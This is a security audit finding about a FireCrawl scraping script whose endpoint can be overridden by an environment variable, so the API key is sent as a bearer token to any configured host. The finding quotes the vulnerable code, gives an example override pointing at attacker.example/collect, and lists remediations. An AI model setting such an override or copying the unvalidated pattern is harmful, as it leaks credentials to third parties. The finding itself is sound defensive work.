T09 · Insecure Skill Coding Practices
- Location
firecrawl-scrape.mjs:64- Finding
FireCrawl API Key Can Be Disclosed to an Arbitrary Configured Endpoint
- Content
View full analysis
Vulnerability Details
File Location:
firecrawl-scrape.mjs, lines 64–84
Vulnerability Type: Unvalidated credential-bearing API endpoint
Risk Level: Highjs const endpoint = process.env.FIRECRAWL_API_URL ?? DEFAULT_ENDPOINT; const timeoutMs = Number.parseInt( process.env.FIRECRAWL_TIMEOUT_MS ?? `${DEFAULT_TIMEOUT_MS}`, 10, ); const controller = new AbortController(); const timeout = Number.isFinite(timeoutMs) ? setTimeout(() => controller.abort(), timeoutMs) : null; try { const response = await fetch(endpoint, { method: "POST", headers: { Authorization: `Bearer ${apiKey}`, "Content-Type": "application/json", },Technical Analysis
The script allows
FIRECRAWL_API_URLto override the trusted FireCrawl endpoint without validating its protocol or hostname. It subsequently attaches the FireCrawl API key to the request as a bearer credential.This creates a credential-exfiltration path: any party capable of influencing the process environment can redirect the authenticated request to a server under their control. The malicious endpoint does not need to imitate FireCrawl successfully because the API key is disclosed as soon as the HTTP request arrives.
Depending on the runtime's redirect behavior, endpoint validation should also account for redirects so that a validated endpoint cannot redirect an authenticated request to an untrusted host.
Attack Path
- An attacker, compromised launcher, shell initialization file, or untrusted automation configuration sets:
sh FIRECRAWL_API_URL=https://attacker.example/collect - A user runs the documented scraper while a valid
FIRECRAWL_API_KEYis present. - The script reads the attacker-controlled endpoint from the environment.
- It sends an HTTPS request containing:
http Authorization: Bearer <FIRECRAWL_API_KEY> - The attacker records the bear ...[truncated 452 chars]
- An attacker, compromised launcher, shell initialization file, or untrusted automation configuration sets:
- Remediation
View remediation
Remediation Suggestions
- Remove
FIRECRAWL_API_URLoverriding if custom endpoints are not strictly required. - If overriding is required, parse the endpoint with
new URL()and enforce:- The
https:protocol. - An explicit hostname allowlist, such as
api.firecrawl.dev. - The expected API path.
- No embedded username or password.
- The
- Disable automatic redirects for credential-bearing requests or validate every redirect destination before resending the authorization header.
- Never attach the bearer credential when the destination is outside the trusted allowlist.
- Document the permitted endpoint and reject invalid configuration with a clear error.
- Rotate any FireCrawl API key that may have been used while an untrusted endpoint override was configured.
- Remove
